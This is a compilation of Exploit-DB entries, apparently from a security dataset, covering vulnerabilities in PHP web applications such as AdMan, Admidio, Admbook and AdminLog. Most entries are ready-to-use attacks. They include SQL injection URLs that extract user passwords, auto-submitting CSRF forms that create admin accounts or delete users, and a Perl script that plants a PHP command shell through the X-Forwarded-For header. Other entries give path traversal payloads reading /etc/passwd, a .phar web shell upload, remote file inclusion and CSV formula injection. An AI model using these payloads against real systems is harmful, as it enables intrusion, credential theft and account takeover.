deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27462
Description: AdMan 1.0.20051221 - 'ViewStatement.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-03-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17208/info

AdMan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

AdMan versions 1.0.20051221 and prior are vulnerable; other versions may also be affected.

http://www.example.com/adMan/advertiser/viewStatement.php?start_date_date_month=03&start_date_date_day=01&start_date_date_year=2008&start_date_time_hour=12&start_date_time_min=00&start_date_time_amPm=AM&end_date_date_month=&end_date_date_day=&end_date_date_year=&end_date_time_hour=&end_date_time_min=&end_date_time_amPm=&_submit=&transactions_offset=[SQL]
Exploit-DB #6702
Description: AdMan 1.1.20070907 - 'campaignId' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-08
Author: SuB-ZeRo

Exploit:
############### >>> Remote SQL Injection <<<  ###########
##    SuB-ZeRo(Walid)                                                              ##
################## >>> SuB-ZeRo  <<< ################
 author  :  SuB-ZeRo(algeria hackers)
 contact :  FbH@hotmail.com
                
 
 buy script : http://www.formfields.com/adManArea/adManPricing.php
dork    : find it
 exploit:
 www.site.me/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
 L!Ve DeMo  :::
 http://www.formfields.com/adManArea/adMan1/adMan/advertiser/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
 NoTe:YoU must singup and login in web sit and you put your exploit
########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & HiSoK4
>>> all muslims

# milw0rm.com [2008-10-08]
Exploit-DB #21424
Description: ADManager 1.1 - Content Manipulation
Type: webapps
Platform: php
Date: 2002-04-17
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4615/info

Admanager is banner advertisement management software. It is written in PHP and will run on most Unix and Linux variants, in addition to Microsoft Windows operating systems.

Access to the 'add.php3' script does not require authentication. It is possible for a remote attacker to manipulate URL parameters of this script and change banner advertisement content.

http://target/add.php3?url=http://www.url.com&adurl=http://URL/img.gif URL/
Exploit-DB #10438
Description: AdManagerPro - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] AdManagerPro - [ CSRF ] Create Administrator Account
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#     [ Login ]
#     http://localhost/[path]/administration/index.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|
<form action="http://[server]/[path]/administration/admins.php" method="POST">
  <input type="hidden" name="action" value="admin_created">
  <input  name="username" value="adminlol" maxlength=15>
  <input  name="password" maxlength=15 value="adminlol">
  <input  name="email" maxlength="255" value="test@demo.com">
  <input  name="name" maxlength="255" value="adminlol">
<input type="hidden" name="rights[]" value="advertisers" CHECKED>
<input type="hidden" name="rights[]" value="packages" CHECKED>
<input type="hidden" name="rights[]" value="publishers" CHECKED>
<input type="hidden" name="rights[]" value="ads" CHECKED>
<input type="hidden" name="rights[]" value="def_ads" CHECKED>
<input type="hidden" name="rights[]" value="black_zones" CHECKED>
<input type="hidden" name="rights[]" value="backup" CHECKED>
<input type="hidden" name="rights[]" value="email_u" CHECKED>
<input type="hidden" name="rights[]" value="reset" CHECKED>
<input type="hidden" name="rights[]" value="tmpl_msg" CHECKED>
<input type="hidden" name="rights[]" value="admins" CHECKED>
<input type="hidden" name="rights[]" value="config" CHECKED>
<input type="submit" name="submit" value="Submit">
</form>
|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #1512
Description: Admbook 1.2.2 - 'x-forwarded-for' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-19
Author: rgod

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

print "*************************************************************************\r\n";
print "|            Admbook <=1.2.2 X-Forwarded-For cmmnds xctn xploit        |\r\n";
print "|                     By rgod rgod<AT>autistici<DOT>org                |\r\n";
print "|                   site: http://retrogod.altervista.org               |\r\n";
print "|                                                                      |\r\n";
print "| Sun-Tzu: \"Rouse him, and learn the principle of his  activity  or    |\r\n";
print "| inactivity.  Force him to reveal himself,  so as to find out  his    |\r\n";
print "| vulnerable spots.\"                                                   |\r\n";
print "*************************************************************************\r\n";
print "| dork:  intitle:admbook intitle:version filetype:php                   |\r\n";
print "*************************************************************************\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl admbook_122_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where AdmBook is installed.\r\n";
print "PATH           - Path to AdmBook (ex: /admbook/ or just /) \r\n";
print "COMMAND        - A shell command \r\n";
print "Example:\r\n";
print "perl admbook_122_xpl.pl localhost /admbook/ ls -la\r\n";
exit();
}

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
               
$SHELL='";if (isset($_GET[CMD])){ECHO"Hi Master!";INI_SET("max_execution_time",0);PASSTHRU($_GET[CMD]);DIE;}echo"';
$data="page=1";
$data.="&name=whoami";
$data.="&url=";
$data.="&email=whoami\@SUNTZU.COM";
$data.="&icq=";
$message=urlEncode("I love italian guys!");
$data.="&message=".$message;
print $sock "POST ".$path."write.php HTTP/1.1\r\n";
print $sock "Referer: http://".$serv.$path."index.php\r\n";
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "User-Agent: sun-tzu\r\n";
print $sock "Content-Length: ".length($data)."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: Close\r\n\r\n";
print $sock $data;
close($sock);

sleep(2);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";

print $sock "GET ".$path."content-data.php?CMD=".$cmd." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";

while ($answer = <$sock>) {
  print $answer;
}
close($sock);

# milw0rm.com [2006-02-19]
Exploit-DB #5575
Description: Admidio 1.4.8 - 'getfile.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-05-09
Author: n3v3rh00d

Exploit:
/---------------------------------------------------------------\
+                                				+
+        	Admidio 1.4.8 Remote File Disclosure            +
+                                				+
\---------------------------------------------------------------/


[*] Author    : n3v3rh00d, http://forum.antichat.ru

[*] Download    : http://prdownloads.sourceforge.net/admidio/admidio-1.4.8.zip

[*] Bug Type    : Remote File Disclosure

[*] Dork    : "Admidio Team"

[*] POC        : /adm_program/modules/download/get_file.php?folder=&file=../../../../../../../../../../etc/passwd&default_folder=

[*] Example    : http://demo.admidio.org/adm_program/modules/download/get_file.php?folder=&file=../../adm_config/config.php&default_folder=

[*] Source    :
    ..........................................................

    $file   = strStripTags(urldecode($_GET['file']));
    $act_folder     = "../../../adm_my_files/download";

    ..........................................................

    $file_name   = "$act_folder/$file";
    $file_length = filesize("$act_folder/$file");
    
    ..........................................................
    
    header("Content-Type: application/octet-stream");
    header("Content-Length: $file_length");
    header("Content-Disposition: attachment; filename=\"$file\"");

    header('Cache-Control: private');
    readfile($file_name);

# milw0rm.com [2008-05-09]
Exploit-DB #21005
Description: Admidio 2.3.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-02
Author: Stefan Schurtz

Exploit:
Advisory:		Admidio 2.3.5 Multiple security vulnerabilities
Advisory ID:		SSCHADV2012-019
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Admidio 2.3.5
Vendor URL:		http://www.admidio.org/
Vendor Status:		fixed

==========================
Vulnerability Description
==========================

Admidio 2.3.5 is prone to XSS and SQLi vulnerabilities

==================
PoC-Exploit
==================

//SQLi

http://[target]/admidio-2.3.5/adm_program/modules/lists/lists.php?active_role=[sql-injection]

//XSS

http://[target]/admidio-2.3.5/adm_program/modules/guestbook/guestbook_new.php?headline=" onmouseover=alert(/xss/) "

=========
Solution
=========

Upgrade to the latest version 2.3.6

====================
Disclosure Timeline
====================

21-Aug-2012 - developer informed
21-Aug-2012 - feedback from developer
28-Aug-2012 - fixed in version 2.3.6

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://www.admidio.org/forum/viewtopic.php?t=5108
http://www.darksecurity.de/advisories/2012/SSCHADV2012-019.txt
Exploit-DB #42005
Description: Admidio 3.2.8 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-04-28
Author: Faiz Ahmed Zaidi

Exploit:
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi
Exploit-DB #51590
Description: Admidio v4.2.10 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-15
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)
Application: Admidio
Version: 4.2.10
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 10.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
Steps:

1. Login to account
2. Go to Announcements
3. Add Entry
4. Upload .phar file in image upload section.
.phar file Content
<?php echo system('cat /etc/passwd');?>
5. Visit .phar file  ( http://localhost/admidio/adm_my_files/announcements/images/20[PII_REDACTED]17_430o3e5ma5dnuvhp.phar )

Request:

POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1
Host: localhost
Content-Length: 378
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
Connection: close

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="upload"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system('cat /etc/passwd');?>

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="ckCsrfToken"

o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
------WebKitFormBoundaryne9TRuC1tAqhR86r--
Exploit-DB #51402
Description: admidio v4.2.5 - CSV Injection
Type: webapps
Platform: php
Date: 2023-05-02
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: admidio v4.2.5 - CSV Injection
Application: admidio
Version: 4.2.5
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 26.04.2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My profile (edit profile) and set postal code  as =calc|a!z| and save (http://localhost/admidio/adm_program/modules/profile/profile_new.php?user_uuid=4b060d07-4e63-429c-a6b7-fc55325e92a2)
step 3. If admin Export users as CSV or excell file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admidio/adm_program/modules/groups-roles/lists_show.php?rol_ids=2)

payload: =calc|a!z|

Poc video:  https://www.youtube.com/watch?v=iygwj1izSMQ
Exploit-DB #36290
Description: Admin Bot - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-07
Author: baltazar

Exploit:
source: https://www.securityfocus.com/bid/50562/info

Admin Bot is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8--
Exploit-DB #9161
Description: Admin News Tools - Remote Contents Change
Type: webapps
Platform: php
Date: 2009-07-15
Author: Securitylab.ir

Exploit:
<html>
<!-- Securitylab.ir , info@securitylab.ir -->
<head>
</head>
<body>
<center>
<center>
<p><b><font size="+2">Admin News Tools<i> </i></font><font size="2">Remote
Contents Change Vulnerability</font></b></p>
</center>
<form action="http://site.com/news/system/message.php" method="post">
  <div><br>
  <textarea cols="89" rows="12" name="message">&lt;/textarea&gt;
  <p>
  <input value="Send"
 onclick="this.setAttribute('value','...');"
 type="submit"></p>
  </div>
  <p>Just for Fun
  </p>
  <p></p>
</form>
</center>
</body>
</html>

# milw0rm.com [2009-07-15]
Exploit-DB #9153
Description: Admin News Tools 2.5 - 'fichier' Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-07-15
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: Admin News Tools
# Version: 2.5
# Website: http://www.adminnewstools.fr.nf
# Download: http://www.adminnewstools.fr.nf/zip/ANT-2.5.zip
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
#===========================================================
# Download.php
# header('Content-Disposition: attachment; filename=' . basename ($_GET['fichier']));
# readfile($_GET['fichier']);
# }
#
# http://www.site.com/news/system/download.php?fichier=./../up.php
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-07-15]
Exploit-DB #3382
Description: Admin Phorum 3.3.1a - 'del.php?include_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-27
Author: GoLd_M

Exploit:
 #########################################################################
 #                                                                       #
 # Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability #
 #                                                                       #
 # Author:  Gold_M <Hacker_ [at] w.Cn>  [Mahmood_ali]                    #
 #                                                                       #
 # Homepage: Www.Tryag.Cc                                                #
 #                                                                       #
 #########################################################################

 #########################################################################
 # Download S : http://www.phpforums.net/admin331.zip                    #
 # Other Info : http://www.phpforums.net/index.php?dir=dld               # 
 #                                                                       #
 # v.Code : Line 3                                                       #
 #                                                                       #
 # require "$include_path/delete_message.php";                           #
 #                                                                       #
 # Exploit:                                                              #
 # http://[VicTim]/[PaTh]/actions/del.php?include_path=[SHELL-TRYAG]     #
 #                                                                       #
 #########################################################################

# milw0rm.com [2007-02-27]
Exploit-DB #4005
Description: AdminBot 9.0.5 - 'live_status.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-29
Author: ThE TiGeR

Exploit:
#AdminBot-MX Remote file inclusion

#Download script : http://download.nexen.org/tools/adminbot/adminbot_http-mxb2.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://127.0.0.1/[adminbot_path]/lib/live_status.lib.php?ROOT=shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-29]
Exploit-DB #9075
Description: AdminLog 0.5 - 'valid_login' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-02
Author: SirGod

Exploit:
#########################################################################
[+] AdminLog 0.5 Login Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] down: http://www.manlyfamily.net/wiki/doku.php?id=programming:php:adminlog
#########################################################################

[+] Login Bypass

 - Conditions : register_globals = ON

 - PoC

      http://127.0.0.1/[path]/adminlog.php?valid_login=1&loggedInUser=[VALIDUSER]

#########################################################################

# milw0rm.com [2009-07-02]
Exploit-DB #51705
Description: AdminLTE PiHole 5.18 - Broken Access Control
Type: webapps
Platform: php
Date: 2023-09-04
Author: kv1to

Exploit:
# Exploit Title: AdminLTE PiHole < 5.18 - Broken Access Control
# Google Dork: [inurl:admin/scripts/pi-hole/phpqueryads.php](https://vuldb.com/?exploit_googlehack.216554)
# Date: 21.12.2022
# Exploit Author: kv1to
# Version: Pi-hole v5.14.2; FTL v5.19.2; Web Interface v5.17
# Tested on: Raspbian / Debian
# Vendor: https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-6qh8-6rrj-7497
# CVE : CVE-2022-23513

In case of an attack, the threat actor will obtain the ability to perform an unauthorized query for blocked domains on queryads endpoint.

## Proof Of Concept with curl:
curl 'http://pi.hole/admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>'

## HTTP requests
GET /admin/scripts/pi-hole/php/queryads.php?domain=<searchquery>' HTTP/1.1
HOST: pi.hole
Cookie: [..SNIPPED..]
[..SNIPPED..]

## HTTP Response
HTTP/1.1 200 OK
[..SNIPPED..]

data: Match found in [..SNIPPED..]
data: <domain>
data: <domain>
data: <domain>